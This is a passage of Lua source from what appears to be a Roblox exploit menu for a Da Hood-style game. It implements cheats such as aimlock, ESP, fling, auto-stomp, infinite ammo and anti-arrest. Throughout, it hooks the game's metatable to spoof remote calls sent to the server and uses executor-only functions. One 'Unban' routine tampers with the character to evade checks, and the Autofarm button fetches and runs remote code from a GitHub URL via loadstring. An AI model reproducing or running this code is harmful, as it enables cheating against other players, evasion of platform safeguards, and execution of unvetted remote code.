player.Character:FindFirstChildWhichIsA('Humanoid'):ChangeState(11)
player.Character.HumanoidRootPart.CFrame = CFrame.new(FlingTorso.Position.X + math.random(-dis,dis) + xchange, FlingTorso.Position.Y, FlingTorso.Position.Z + math.random(-dis,dis) + zchange) * CFrame.Angles(math.rad(player.Character.HumanoidRootPart.Orientation.X + 350),math.rad(player.Character.HumanoidRootPart.Orientation.Y + 200),math.rad(player.Character.HumanoidRootPart.Orientation.Z + 240))
player.Character.HumanoidRootPart.Velocity = Vector3.new(500000,500000,500000)
end
end
end)
if err then
print('fling error : ' .. err)
end
end;
local Start = function()
OldFlingPos = player.Character.HumanoidRootPart.Position
Loop = game:GetService("RunService").Heartbeat:Connect(loopFunction);
end;
local Pause = function()
Loop:Disconnect()
local vectorZero = Vector3.new(0, 0, 0)
player.Character.PrimaryPart.Velocity = vectorZero
player.Character.PrimaryPart.RotVelocity = vectorZero
player.Character.HumanoidRootPart.CFrame = CFrame.new(OldFlingPos) * CFrame.Angles(math.rad(0),math.rad(137.92),math.rad(0))
end;
Start()
repeat wait() until Fling.Text == 'Fling'
Pause()
else
Fling.Text = 'Fling'
end
end)
------------------------------------------------------------------------------------------------------------------------------------------------
------------------------------------------------------------------------------------------------------------------------------------------------
------------------------------------------------------------------------------------------------------------------------------------------------
------------------------------------------------------------------------------------------------------------------------------------------------
------------------------------------------------------------------------------------------------------------------------------------------------
QToTpColor.BackgroundColor3 = red
QToTp.MouseButton1Click:Connect(function()
if QToTpColor.BackgroundColor3 == red then
QToTpColor.BackgroundColor3 = green
else
QToTpColor.BackgroundColor3 = red
end
end)
AntiSlowColor.BackgroundColor3 = red
AntiSlow.MouseButton1Click:Connect(function()
if AntiSlowColor.BackgroundColor3 == red then
AntiSlowColor.BackgroundColor3 = green
local Loop
local loopFunction = function()
local DeletePart = player.Character.BodyEffects.Movement:FindFirstChild('NoJumping') or player.Character.BodyEffects.Movement:FindFirstChild('ReduceWalk') or player.Character.BodyEffects.Movement:FindFirstChild('NoWalkSpeed')
if DeletePart then DeletePart:Destroy() end
if player.Character.BodyEffects.Reload.Value == true then player.Character.BodyEffects.Reload.Value = false end
end;
local Start = function()
Loop = game:GetService("RunService").Heartbeat:Connect(loopFunction);
end;
local Pause = function()
Loop:Disconnect()
end;
Start()
repeat wait() until AntiSlowColor.BackgroundColor3 == red
Pause()
else
AntiSlowColor.BackgroundColor3 = red
end
end)
CashAuraColor.BackgroundColor3 = red
CashAura.MouseButton1Click:Connect(function()
if CashAuraColor.BackgroundColor3 == red then
CashAuraColor.BackgroundColor3 = green
local Loop
local loopFunction = function()
for i,v in pairs(game:GetService('Workspace')['Ignored']['Drop']:GetChildren()) do
if v:IsA('Part') then
if (v.Position - player.Character.HumanoidRootPart.Position).Magnitude <= 12 then
fireclickdetector(v:FindFirstChild('ClickDetector'))
end
end
end
end;
local Start = function()
Loop = game:GetService("RunService").Heartbeat:Connect(loopFunction);
end;
local Pause = function()
Loop:Disconnect()
end;
Start()
repeat wait() until CashAuraColor.BackgroundColor3 == red
Pause()
else
CashAuraColor.BackgroundColor3 = red
end
end)
HideBlockColor.BackgroundColor3 = red
HideBlock.MouseButton1Click:Connect(function()
if HideBlockColor.BackgroundColor3 == red then
HideBlockColor.BackgroundColor3 = green
else
HideBlockColor.BackgroundColor3 = red
end
end)
AntiStompColor.BackgroundColor3 = red
AntiStomp.MouseButton1Click:Connect(function()
if AntiStompColor.BackgroundColor3 == red then
AntiStompColor.BackgroundColor3 = green
local Loop
local loopFunction = function()
if player.Character.BodyEffects['K.O'].Value == true then player.Character:Destroy() end
end;
local Start = function()
Loop = game:GetService("RunService").Heartbeat:Connect(loopFunction);
end;
local Pause = function()
Loop:Disconnect()
end;
Start()
repeat wait() until AntiStompColor.BackgroundColor3 == red
Pause()
else
AntiStompColor.BackgroundColor3 = red
end
end)
AutoBlockColor.BackgroundColor3 = red
AutoBlock.MouseButton1Click:Connect(function()
if AutoBlockColor.BackgroundColor3 == red then
AutoBlockColor.BackgroundColor3 = green
local Loop
local loopFunction = function()
local forbidden = {'[RPG]','[SMG]','[TacticalShotgun]','[AK47]','[AUG]','[Glock]', '[Shotgun]','[Flamethrower]','[Silencer]','[AR]','[Revolver]','[SilencerAR]','[LMG]','[P90]','[DrumGun]','[Double-Barrel SG]','[Hamburger]','[Chicken]','[Pizza]','[Cranberry]','[Donut]','[Taco]','[Starblox Latte]','[BrownBag]','[Weights]','[HeavyWeights]'}
local Found = false
for _,v in pairs(game.Workspace.Players:GetChildren()) do
if (v.UpperTorso.Position - player.Character.HumanoidRootPart.Position).Magnitude <= MaxDistance then
if v.BodyEffects.Attacking.Value == true and not table.find(forbidden, v:FindFirstChildWhichIsA('Tool').Name ) and v.Name ~= player.Name then
Found = true
MainEvent:FireServer('Block', player.Name)
end
end
end
if Found == false and HoldingF == false then
if player.Character.BodyEffects:FindFirstChild('Block') then player.Character.BodyEffects.Block:Destroy() end
end
end;
local Start = function()
Loop = game:GetService("RunService").Heartbeat:Connect(loopFunction);
end;
local Pause = function()
Loop:Disconnect()
end;
Start()
repeat wait() until AutoBlockColor.BackgroundColor3 == red
Pause()
else
AutoBlockColor.BackgroundColor3 = red
end
end)
AutoStompColor.BackgroundColor3 = red
AutoStomp.MouseButton1Click:Connect(function()
if AutoStompColor.BackgroundColor3 == red then
AutoStompColor.BackgroundColor3 = green
local Loop
local loopFunction = function()
MainEvent:FireServer('Stomp')
end;
local Start = function()
Loop = game:GetService("RunService").Heartbeat:Connect(loopFunction);
end;
local Pause = function()
Loop:Disconnect()
end;
Start()
repeat wait() until AutoStompColor.BackgroundColor3 == red
Pause()
else
AutoStompColor.BackgroundColor3 = red
end
end)
AntiArrestColor.BackgroundColor3 = red
AntiArrest.MouseButton1Click:Connect(function()
if AntiArrestColor.BackgroundColor3 == red then
AntiArrestColor.BackgroundColor3 = green
local Loop
local loopFunction = function()
for _,v in pairs(game:GetService('Players'):GetChildren()) do
if v.Character and v.DataFolder.Officer.Value == 1 then
if (v.Character.HumanoidRootPart.Position - player.Character.HumanoidRootPart.Position).Magnitude <= 30 and player.Character.BodyEffects['K.O'].Value == true then
player.Character:Destroy()
end
end
end
end;
local Start = function()
Loop = game:GetService("RunService").Heartbeat:Connect(loopFunction);
end;
local Pause = function()
Loop:Disconnect()
end;
Start()
repeat wait() until AntiArrestColor.BackgroundColor3 == red
Pause()
else
AntiArrestColor.BackgroundColor3 = red
end
end)
AutoDropColor.BackgroundColor3 = red
AutoDrop.MouseButton1Click:Connect(function()
if AutoDropColor.BackgroundColor3 == red then
AutoDropColor.BackgroundColor3 = green
local Loop
local loopFunction = function()
local DropAm = 10000
if player.DataFolder.Currency.Value > 10000 then
DropAm = '10000'
else
DropAm = tostring(player.DataFolder.Currency.Value)
end
local args = {
'DropMoney',
DropAm
}
MainEvent:FireServer(unpack(args))
end;
local Start = function()
Loop = game:GetService("RunService").Heartbeat:Connect(loopFunction);
end;
local Pause = function()
Loop:Disconnect()
end;
Start()
repeat wait() until AutoDropColor.BackgroundColor3 == red
Pause()
else
AutoDropColor.BackgroundColor3 = red
end
end)
HideUserColor.BackgroundColor3 = red
HideUser.MouseButton1Click:Connect(function()
if HideUserColor.BackgroundColor3 == red then
HideUserColor.BackgroundColor3 = green
NamePos = player.Character.HumanoidRootPart.CFrame
local Loop
local loopFunction = function()
local WearingMask = player.Character:FindFirstChild('In-gameMask')
local Humanoid = player.Character:FindFirstChildWhichIsA('Humanoid')
if not WearingMask then
local OwnsMask = player.Character:FindFirstChild('Mask') or player.Backpack:FindFirstChild('Mask')
if OwnsMask then
local MaskInventory = player.Backpack:FindFirstChild('Mask')
if MaskInventory then
Humanoid:EquipTool(MaskInventory)
wait(0.1)
end
OwnsMask:Activate()
else
local ItemName = 'Mask'
local ItemCost = 60
local ClickDetector = game:GetService("Workspace").Ignored.Shop["[Paintball Mask] - $60"].ClickDetector
local Location = game:GetService("Workspace").Ignored.Shop["[Paintball Mask] - $60"].Head.Position
local function buy()
wait()
player.Character.HumanoidRootPart.CFrame = CFrame.new(Location)
fireclickdetector(ClickDetector)
if not player.Character.LeftHand:FindFirstChild('LeftWrist') then
player.Character.LeftHand.Position = player.Character.LeftLowerArm.Position
player.Character.RightHand.Position = player.Character.RightLowerArm.Position
end
end
repeat buy() until player.Backpack:FindFirstChild(ItemName) or player.DataFolder.Currency.Value <= ItemCost or player.Character:FindFirstChild(ItemName)
player.Character.HumanoidRootPart.CFrame = NamePos
if not player.Character.LeftHand:FindFirstChild('LeftWrist') then
player.Character.LeftHand.Position = player.Character.LeftLowerArm.Position
player.Character.RightHand.Position = player.Character.RightLowerArm.Position
end
end
else
local MaskVisible = player.Character:FindFirstChild('In-gameMask'):FindFirstChild('Handle')
if MaskVisible then
MaskVisible:Destroy()
end
end
end;
local Start = function()
Loop = game:GetService("RunService").Heartbeat:Connect(loopFunction);
end;
local Pause = function()
Loop:Disconnect()
end;
Start()
repeat wait() until HideUserColor.BackgroundColor3 == red
Pause()
else
HideUserColor.BackgroundColor3 = red
end
end)
AntiBagColor.BackgroundColor3 = red
AntiBag.MouseButton1Click:Connect(function()
if AntiBagColor.BackgroundColor3 == red then
AntiBagColor.BackgroundColor3 = green
local Loop
local loopFunction = function()
if player.Character:FindFirstChild('Christmas_Sock') then
player.Character:FindFirstChild('Christmas_Sock'):Destroy()
end
end;
local Start = function()
Loop = game:GetService("RunService").Heartbeat:Connect(loopFunction);
end;
local Pause = function()
Loop:Disconnect()
end;
Start()
repeat wait() until AntiBagColor.BackgroundColor3 == red
Pause()
else
AntiBagColor.BackgroundColor3 = red
end
end)
AltArmorColor.BackgroundColor3 = red
AltArmor.MouseButton1Click:Connect(function()
if AltArmorColor.BackgroundColor3 == red then
AltArmorColor.BackgroundColor3 = green
else
AltArmorColor.BackgroundColor3 = red
end
end)
RocketRideColor.BackgroundColor3 = red
RocketRide.MouseButton1Click:Connect(function()
if RocketRideColor.BackgroundColor3 == red then
RocketRideColor.BackgroundColor3 = green
local Loop
local loopFunction = function()
local Rocket = game:GetService('Workspace'):FindFirstChild('Ignored'):FindFirstChild('MyLauncher')
if Rocket and COOLDOWN == true then
local RocketPart = game:GetService('Workspace'):FindFirstChild('Ignored'):FindFirstChild('RocketPart')
if not RocketPart then
local RocketPart = Instance.new('Part', game.Workspace.Ignored)
RocketPart.Name = 'RocketPart'
RocketPart.Anchored = true
RocketPart.CanCollide = true
RocketPart.Transparency = 1
RocketPart.Position = Vector3.new(Rocket.Position.X, Rocket.Position.Y + 1.4, Rocket.Position.Z)
player.Character.HumanoidRootPart.CFrame = CFrame.new(RocketPart.Position.X, RocketPart.Position.Y + 2, RocketPart.Position.Z) * CFrame.Angles(math.rad(player.Character.HumanoidRootPart.Orientation.X),math.rad(player.Character.HumanoidRootPart.Orientation.Y),math.rad(player.Character.HumanoidRootPart.Orientation.Z))
RIDING = true
else
RocketPart.Position = Vector3.new(Rocket.Position.X, Rocket.Position.Y + 1.4, Rocket.Position.Z)
player.Character.HumanoidRootPart.CFrame = CFrame.new(RocketPart.Position.X, RocketPart.Position.Y + 2.3, RocketPart.Position.Z) * CFrame.Angles(math.rad(player.Character.HumanoidRootPart.Orientation.X),math.rad(player.Character.HumanoidRootPart.Orientation.Y),math.rad(player.Character.HumanoidRootPart.Orientation.Z))
RIDING = true
end
else
for i,v in pairs(game:GetService('Workspace'):FindFirstChild('Ignored'):GetChildren()) do
if v.Name == 'RocketPart' then
v:Destroy()
end
RIDING = false
end
end
end;
local Start = function()
Loop = game:GetService("RunService").Heartbeat:Connect(loopFunction);
end;
local Pause = function()
Loop:Disconnect()
end;
Start()
repeat wait() until RocketRideColor.BackgroundColor3 == red
Pause()
else
RocketRideColor.BackgroundColor3 = red
end
end)
AntiGrabColor.BackgroundColor3 = red
AntiGrab.MouseButton1Click:Connect(function()
if AntiGrabColor.BackgroundColor3 == red then
AntiGrabColor.BackgroundColor3 = green
local Loop
local loopFunction = function()
local GC = player.Character:FindFirstChild("GRABBING_CONSTRAINT")
if GC then
GC:Destroy()
wait(0.04)
player.Character:FindFirstChildWhichIsA('Humanoid').Sit = true
end
end;
local Start = function()
Loop = game:GetService("RunService").Heartbeat:Connect(loopFunction);
end;
local Pause = function()
Loop:Disconnect()
end;
Start()
repeat wait() until AntiGrabColor.BackgroundColor3 == red
Pause()
else
AntiGrabColor.BackgroundColor3 = red
end
end)
AntiEffectsColor.BackgroundColor3 = red
AntiEffects.MouseButton1Click:Connect(function()
if AntiEffectsColor.BackgroundColor3 == red then
AntiEffectsColor.BackgroundColor3 = green
player.PlayerGui.Framework.FBAnimation.Name = 'yea'
local Loop
local loopFunction = function()
local Particle = player.Character.UpperTorso:FindFirstChild('ElectricuteParticle') or player.Character.UpperTorso:FindFirstChild('FlamethrowerFireParticle')
if Particle then Particle:Destroy() end
for i,v in pairs(player.Character:FindFirstChildWhichIsA('Humanoid'):GetPlayingAnimationTracks()) do
if v.Animation.AnimationId == 'rbxassetid://5641749824' then
v:Stop()
end
end
end;
local Start = function()
Loop = game:GetService("RunService").Heartbeat:Connect(loopFunction);
end;
local Pause = function()
Loop:Disconnect()
end;
Start()
repeat wait() until AntiEffectsColor.BackgroundColor3 == red
Pause()
else
AntiEffectsColor.BackgroundColor3 = red
player.PlayerGui.Framework.yea.Name = 'FBAnimation'
end
end)
------------------------------------------------------------------------------------------------------------------------------------------------
------------------------------------------------------------------------------------------------------------------------------------------------
------------------------------------------------------------------------------------------------------------------------------------------------
------------------------------------------------------------------------------------------------------------------------------------------------
------------------------------------------------------------------------------------------------------------------------------------------------
--Rpg Variables--
DS = 75
DT = 5
RpgTimer = DS
Distance = DT
RPGTarget = 'None'
-----------------
local mt = getrawmetatable(game) -- aimlok
pos = Vector3.new(0,0,0)
local old = mt.__namecall
setreadonly(mt,false)
mt.__namecall = newcclosure(function(self, ...)
local args = {...}
if getnamecallmethod() == 'FireServer' and self.Name == 'MainEvent' then
if tostring(args[1]) == 'UpdateMousePos' then
if Aimlocked ~= nil then
args[2] = pos
end
end
end
return old(self, unpack(args))
end)
Invisible.MouseButton1Click:Connect(function()
OldInvisCFrame = player.Character.HumanoidRootPart.CFrame
player.Character.HumanoidRootPart.CFrame = CFrame.new(318.499, 93.825, -919.513)
wait(0.1)
player.Character:BreakJoints()
wait(0.1)
player.Character.HumanoidRootPart.CFrame = OldInvisCFrame
end)
Spin.MouseButton1Click:Connect(function()
if Spin.Text == 'Spin' then
Spin.Text = 'Unspin'
local Loop
local loopFunction = function()
player.Character.HumanoidRootPart.CFrame = player.Character.HumanoidRootPart.CFrame * CFrame.Angles(0, math.rad(50), 0)
end;
local Start = function()
Loop = game:GetService("RunService").Heartbeat:Connect(loopFunction);
end;
local Pause = function()
Loop:Disconnect()
end;
Start()
repeat wait() until Spin.Text == 'Spin'
Pause()
else
Spin.Text = 'Spin'
end
end)
Users.MouseButton1Click:Connect(function()
for i,v in pairs(game.Workspace.Players:GetChildren()) do
v:FindFirstChildWhichIsA('Humanoid').DisplayDistanceType = 'Subject'
end
announce('Showing masked usersnames', '', 3)
end)
MoneyESP.MouseButton1Click:Connect(function()
if MoneyESP.Text == 'MoneyESP' then
MoneyESP.Text = 'UnmoneyESP'
local Loop
local loopFunction = function()
for i,v in pairs(game.Workspace.Ignored.Drop:GetChildren()) do
if v.Name == 'MoneyDrop' then
v.BillboardGui.AlwaysOnTop = true
v.BillboardGui.Size = UDim2.new(0,25,0,25)
end
end
end;
local Start = function()
Loop = game:GetService("RunService").Heartbeat:Connect(loopFunction);
end;
local Pause = function()
Loop:Disconnect()
end;
Start()
repeat wait(1) until MoneyESP.Text == 'MoneyESP'
Pause()
else
MoneyESP.Text = 'MoneyESP'
for i,v in pairs(game.Workspace.Ignored.Drop:GetChildren()) do
if v.Name == 'MoneyDrop' then
v.BillboardGui.AlwaysOnTop = false
v.BillboardGui.Size = UDim2.new(1,0,1,0)
end
end
end
end)
Esp.MouseButton1Click:Connect(function()
if Esp.Text == 'Esp' then
Esp.Text = 'Unesp'
local Loop
local loopFunction = function()
for _,v in pairs(Players:GetChildren()) do
if v.Character then
if not v.Character.UpperTorso:FindFirstChild('ESP') then
local ESP = Instance.new('BillboardGui', v.Character.UpperTorso)
ESP.StudsOffset = Vector3.new(0,3,0)
ESP.Size = UDim2.new(4,0,1,0)
ESP.AlwaysOnTop = true
ESP.Name = 'ESP'
local TextLabel = Instance.new('TextLabel', ESP)
TextLabel.Text = (v.Name ..' | ' .. v.DisplayName)
TextLabel.BackgroundTransparency = 1
TextLabel.Size = UDim2.new(1,0,1,0)
TextLabel.TextColor3 = green
end
end
end end;
local Start = function()
Loop = game:GetService("RunService").Heartbeat:Connect(loopFunction);
end;
local Pause = function()
Loop:Disconnect()
end;
Start()
repeat wait() until Esp.Text == 'Esp'
Pause()
else
Esp.Text = 'Esp'
for _,v in pairs(Players:GetChildren()) do
if v.Character then
if v.Character.UpperTorso:FindFirstChild('ESP') then
v.Character.UpperTorso:FindFirstChild('ESP'):Destroy()
end
end
end
end
end)
HighTool.MouseButton1Click:Connect(function()
if player.Character:FindFirstChildWhichIsA('Tool') then
player.Character:FindFirstChildWhichIsA('Tool').Grip = CFrame.new(0, -12, 0, 1, 0, 0, 0, 1, 0, 0, 0, -1)
else
announce('HighTool Error', 'you have to be holding a tool', 5)
end
end)
LastingBullets.MouseButton1Click:Connect(function()
if player.Character:FindFirstChildWhichIsA('Tool') then
if player.Character:FindFirstChildWhichIsA('Tool'):FindFirstChild('Handle'):FindFirstChildWhichIsA('BillboardGui') then
player.Character:FindFirstChildWhichIsA('Tool'):FindFirstChild('Handle'):FindFirstChildWhichIsA('BillboardGui'):Destroy()
else
announce('LastingBullets Error', 'you have to be holding a gun', 5)
end
else
announce('LastingBullets Error', 'you have to be holding a gun', 5)
end
end)
Stamina.MouseButton1Click:Connect(function()
if Stamina.Text == 'Stamina' then
Stamina.Text = 'Unstamina'
else
Stamina.Text= 'Stamina'
end
end)
SwagUsers.MouseButton1Click:Connect(function()
local TOTAL = 0
for i,v in pairs(game.Workspace.Players:GetChildren()) do
if not v.UpperTorso:FindFirstChild('OriginalSize') then
if v.Name ~= player.Name then
TOTAL = TOTAL + 1
end
end
end
if TOTAL > 0 then
announce('Found','A total of ' .. tostring(TOTAL) .. ' of swag mode players', 3)
else
announce('D:', 'no swag mode users found', 3)
end
end)
Aimlock.MouseButton1Click:Connect(function()
if Aimlock.Text == 'Aimlock' then
Aimlock.Text = 'Unaimlock'
announce('Aimlock Enabled', 'press e to aimlock', 3)
local Loop
local loopFunction = function()
local enemy = game.Players:FindFirstChild(Aimlocked).Character
if enemy then
local pingvalue = game:GetService("Stats").Network.ServerStatsItem["Data Ping"]:GetValueString()
local split = string.split(pingvalue,'(')
local ping = tonumber(split[1])
local xchange
local zchange
if ping < 70 then
increase = 0.4
elseif ping < 140 then
increase = 0.57
elseif ping < 200 then
increase = 0.7
elseif ping < 350 then
increase = 1.2
else
increase = 1.6
end
if enemy.Humanoid.MoveDirection.X < 0 then
xchange = -increase
elseif enemy.Humanoid.MoveDirection.X > 0 then
xchange = increase
else
xchange = 0
end
if enemy.Humanoid.MoveDirection.Z < 0 then
zchange = -increase
elseif enemy.Humanoid.MoveDirection.Z > 0 then
zchange = increase
else
zchange = 0
end
pos = Vector3.new(enemy.Head.Position.X + enemy.Humanoid.MoveDirection.X + xchange, enemy.Head.Position.Y, enemy.Head.Position.Z + enemy.Humanoid.MoveDirection.Z + zchange)
else
pos = mouse.Hit.p
end
end;
local Start = function()
Loop = game:GetService("RunService").Heartbeat:Connect(loopFunction);
end;
local Pause = function()
Loop:Disconnect()
end;
Start()
repeat wait() until Aimlock.Text == 'Aimlock'
Pause()
else
Aimlock.Text = 'Aimlock'
Aimlocked = nil
end
end)
AutoFarmWarning = false
Autofarm.MouseButton1Click:Connect(function()
if AutoFarmWarning == false then
AutoFarmWarning = true
announce('Autofarm Warning', 'press again to begin autofarming, this CANNOT be stopped', 10)
else
announce('Starting Autofarm', ':D', 5)
loadstring(game:HttpGet("https://raw.githubusercontent.com/lerkermer/lua-projects/master/SwagAutofarm"))()
end
end)
Unban.MouseButton1Click:Connect(function()
local localPlayer = game:GetService('Players').LocalPlayer;
local localCharacter = localPlayer.Character;
localCharacter:FindFirstChildOfClass('Humanoid').Health = 0;
localCharacter:ClearAllChildren()
local newCharacter = localPlayer.CharacterAdded:Wait();
local spoofFolder = Instance.new('Folder');
spoofFolder.Name = 'FULLY_LOADED_CHAR';
spoofFolder.Parent = newCharacter;
newCharacter:WaitForChild('RagdollConstraints'):Destroy();
local spoofValue = Instance.new('BoolValue', newCharacter);
spoofValue.Name = 'RagdollConstraints';
end)
FullGod.MouseButton1Click:Connect(function()
end)
TazerTarget = nil
GrenadeTarget = nil
LockTools.MouseButton1Click:Connect(function()
local function rpglock()
local RpgTool = Instance.new('Tool', player.Backpack)
RpgTool.ToolTip = 'Click a player to rpg lock them'
RpgTool.CanBeDropped = false
RpgTool.RequiresHandle = false
RpgTool.Name = 'Rpg Lock'
RpgTool.Activated:Connect(function()
local LowerTorso = mouse.Target.Parent:FindFirstChild('LowerTorso')
if not LowerTorso then
LowerTorso = mouse.Target.Parent.Parent:FindFirstChild('LowerTorso')
end
if LowerTorso then
if LowerTorso.Parent.Name == 'SpecialParts' then
RPGTarget = LowerTorso.Parent.Parent.Parent.Name
else
RPGTarget = LowerTorso.Parent.Name
end
announce('Rpg locked onto', RPGTarget, 3)
else
RPGTarget = nil
announce('Rpg unlocked', '', 3)
end
end)
end
local function grenadelock()
local GrenadeTool = Instance.new('Tool', player.Backpack)
GrenadeTool.ToolTip = 'Click a player to grenade lock them'
GrenadeTool.CanBeDropped = false
GrenadeTool.RequiresHandle = false
GrenadeTool.Name = 'Grenade Lock'
GrenadeTool.Activated:Connect(function()
local LowerTorso = mouse.Target.Parent:FindFirstChild('LowerTorso')
if not LowerTorso then
LowerTorso = mouse.Target.Parent.Parent:FindFirstChild('LowerTorso')
end
if LowerTorso then
if LowerTorso.Parent.Name == 'SpecialParts' then
GrenadeTarget = LowerTorso.Parent.Parent.Parent.Name
else
GrenadeTarget = LowerTorso.Parent.Name
end
announce('Grenades locked onto', GrenadeTarget, 5)
else
TazerTarget = nil
announce('Grenades unlocked', '', 3)
end
end)
end
local function taserlock()
local TazerTool = Instance.new('Tool', player.Backpack)
TazerTool.ToolTip = 'Click a player to tazer lock them'
TazerTool.CanBeDropped = false
TazerTool.RequiresHandle = false
TazerTool.Name = 'Tazer Lock'
TazerTool.Activated:Connect(function()
local LowerTorso = mouse.Target.Parent:FindFirstChild('LowerTorso')
if not LowerTorso then
LowerTorso = mouse.Target.Parent.Parent:FindFirstChild('LowerTorso')
end
if LowerTorso then
if LowerTorso.Parent.Name == 'SpecialParts' then
TazerTarget = LowerTorso.Parent.Parent.Parent.Name
else
TazerTarget = LowerTorso.Parent.Name
end
announce('Taser locked onto', TazerTarget, 5)
else
TazerTarget = nil
announce('Taser unlocked', '', 3)
end
end)
end
taserlock()
rpglock()
grenadelock()
local Loop
local loopFunction = function()
if RPGTarget ~= nil then
local Launcher = game:GetService('Workspace'):FindFirstChild('Ignored'):FindFirstChild('Launcher') or game:GetService('Workspace'):FindFirstChild('Ignored'):FindFirstChild('MyLauncher')
local TargetRPG1 = game:GetService('Workspace').Players:FindFirstChild(RPGTarget)
if Launcher and TargetRPG1 then
local TargetRPG = TargetRPG1:FindFirstChild('HumanoidRootPart')
if TargetRPG then
if RpgTimer >= 0 then
Launcher.CFrame = CFrame.new(TargetRPG.Position.X, TargetRPG.Position.Y + 5, TargetRPG.Position.Z)
RpgTimer = RpgTimer - 1
else
Launcher.CFrame = CFrame.new(TargetRPG.Position.X, TargetRPG.Position.Y + Distance, TargetRPG.Position.Z)
Distance = Distance - 1
end
else
RpgTimer = DS
Distance = DT
end
else
RpgTimer = DS
Distance = DT
end
end
if TazerTarget ~= nil then
if player.Character:FindFirstChild('[Taser]') then
local Part = player.Character['[Taser]']:FindFirstChild('Handle'):FindFirstChild('Part')
if Part then
local FindPlayer = game.Workspace.Players:FindFirstChild(TazerTarget):FindFirstChild('UpperTorso') or game.Workspace:FindFirstChild(TazerTarget):FindFirstChild('UpperTorso')
if FindPlayer then
Part.Position = FindPlayer.Position
end
end
end
end
if GrenadeTarget ~= nil then
print('lookin')
local Handle = game.Workspace['Ignored']:FindFirstChild('Handle')
local FindPlayer = Players:FindFirstChild(GrenadeTarget)
if Handle and FindPlayer then
if FindPlayer.Character then
Handle.Position = FindPlayer.Character.UpperTorso.Position
end
end
end
end;
local Start = function()
Loop = game:GetService("RunService").Heartbeat:Connect(loopFunction);
end;
local Pause = function()
Loop:Disconnect()
end;
Start()
repeat wait() until not player.Character or player.Character:FindFirstChildOfClass('Humanoid').Died == true
Pause()
end)
InfTools.MouseButton1Click:Connect(function()
announce('Infinite Ammo Given', 'hold the tool to buy ammo shoot without reloading', 8)
function infrev()
if player.PlayerGui.MainScreenGui:FindFirstChild('BattleRoyaleFFA') then
player.PlayerGui.MainScreenGui:FindFirstChild('BattleRoyaleFFA').TextLabel.Name = 'AmmoText'
player.PlayerGui.MainScreenGui:FindFirstChild('BattleRoyaleFFA').Position = UDim2.new(2,0,2,0)
player.PlayerGui.MainScreenGui:FindFirstChild('BattleRoyaleFFA').Size = UDim2.new(0,0,0,0)
player.PlayerGui.MainScreenGui:FindFirstChild('BattleRoyaleFFA').Name = 'AmmoFrame'
end
local Gun = '[Revolver]'
local GunTexture = 'rbxassetid://3420082920'
local GunPath = game:GetService("Workspace").Ignored.Shop["[Revolver] - $1300"].Head
local Holding = false
local InfiniteTool = Instance.new('Tool', player.Backpack)
InfiniteTool.Name = 'Rev'
InfiniteTool.ToolTip = 'buy guns while holding, shoot while using this tool'
InfiniteTool.TextureId = GunTexture
InfiniteTool.RequiresHandle = true
InfiniteTool.CanBeDropped = false
local Handle = Instance.new('Part', InfiniteTool)
Handle.Name = 'Handle'
Handle.Anchored = false
Handle.Size = Vector3.new(0,0,0)
Handle.Massless = true
Handle.Transparency = 1
Handle.CanCollide = false
InfiniteTool.Equipped:Connect(function()
Holding = true
player.PlayerGui.MainScreenGui:FindFirstChild('AmmoFrame').Name = 'AmmoFrame2'
for i,v in pairs(player.Backpack:GetChildren()) do
if v.Name == Gun and not player.Character:FindFirstChild(Gun) then
if v.Ammo.Value > 0 then
v.Parent = player.Character
end
end
end
while Holding == true do
wait(0)
local TotalAmmo = 0
for i,v in pairs(player.Backpack:GetChildren()) do
if v.Name == Gun then
TotalAmmo = TotalAmmo + v.Ammo.Value
end
end
for i,v in pairs(player.Character:GetChildren()) do
if v.Name == Gun then
TotalAmmo = TotalAmmo + v.Ammo.Value
end
end
player.PlayerGui.MainScreenGui.AmmoFrame2.AmmoText.Text = tostring(TotalAmmo)
player.PlayerGui.MainScreenGui.AmmoFrame2.AmmoText.Visible = true
player.PlayerGui.MainScreenGui.AmmoFrame2.Visible = true
local mag = (GunPath.Position - player.Character.HumanoidRootPart.Position).Magnitude
if mag <= 8 and player.Character:FindFirstChild(InfiniteTool.Name) then
for i,v in pairs(player.Backpack:GetChildren()) do
if v.Name == Gun then
v.Parent = player.Character
end
end
end
fireclickdetector(GunPath.Parent.ClickDetector)
if player.Character:FindFirstChild(Gun).Ammo.Value < 1 then
player.Character:FindFirstChild(Gun).Parent = player.Backpack
for i,v in pairs(player.Backpack:GetChildren()) do
if v.Name == Gun and not player.Character:FindFirstChild(Gun) then
if v.Ammo.Value > 0 then
v.Parent = player.Character
end
end
end
end
end
end)
InfiniteTool.Unequipped:Connect(function()
Holding = false
player.PlayerGui.MainScreenGui:FindFirstChild('AmmoFrame2').Name = 'AmmoFrame'
end)
end
function infdb()
if player.PlayerGui.MainScreenGui:FindFirstChild('BattleRoyaleFFA') then
player.PlayerGui.MainScreenGui:FindFirstChild('BattleRoyaleFFA').TextLabel.Name = 'AmmoText'
player.PlayerGui.MainScreenGui:FindFirstChild('BattleRoyaleFFA').Position = UDim2.new(2,0,2,0)
player.PlayerGui.MainScreenGui:FindFirstChild('BattleRoyaleFFA').Size = UDim2.new(0,0,0,0)
player.PlayerGui.MainScreenGui:FindFirstChild('BattleRoyaleFFA').Name = 'AmmoFrame'
end
local Gun = '[Double-Barrel SG]'
local GunTexture = 'rbxassetid://5341886203'
local GunPath = game:GetService("Workspace").Ignored.Shop["[Double-Barrel SG] - $1400"].Head
local Holding = false
local InfiniteTool = Instance.new('Tool', player.Backpack)
InfiniteTool.Name = 'Db'
InfiniteTool.ToolTip = 'buy guns while holding, shoot while using this tool'
InfiniteTool.TextureId = GunTexture
InfiniteTool.RequiresHandle = true
InfiniteTool.CanBeDropped = false
local Handle = Instance.new('Part', InfiniteTool)
Handle.Name = 'Handle'
Handle.Anchored = false
Handle.Size = Vector3.new(0,0,0)
Handle.Massless = true
Handle.Transparency = 1
Handle.CanCollide = false
InfiniteTool.Equipped:Connect(function()
Holding = true
player.PlayerGui.MainScreenGui:FindFirstChild('AmmoFrame').Name = 'AmmoFrame2'
for i,v in pairs(player.Backpack:GetChildren()) do
if v.Name == Gun and not player.Character:FindFirstChild(Gun) then
if v.Ammo.Value > 0 then
v.Parent = player.Character
end
end
end
while Holding == true do
wait(0)
local TotalAmmo = 0
for i,v in pairs(player.Backpack:GetChildren()) do
if v.Name == Gun then
TotalAmmo = TotalAmmo + v.Ammo.Value
end
end
for i,v in pairs(player.Character:GetChildren()) do
if v.Name == Gun then
TotalAmmo = TotalAmmo + v.Ammo.Value
end
end
player.PlayerGui.MainScreenGui.AmmoFrame2.AmmoText.Text = tostring(TotalAmmo)
player.PlayerGui.MainScreenGui.AmmoFrame2.AmmoText.Visible = true
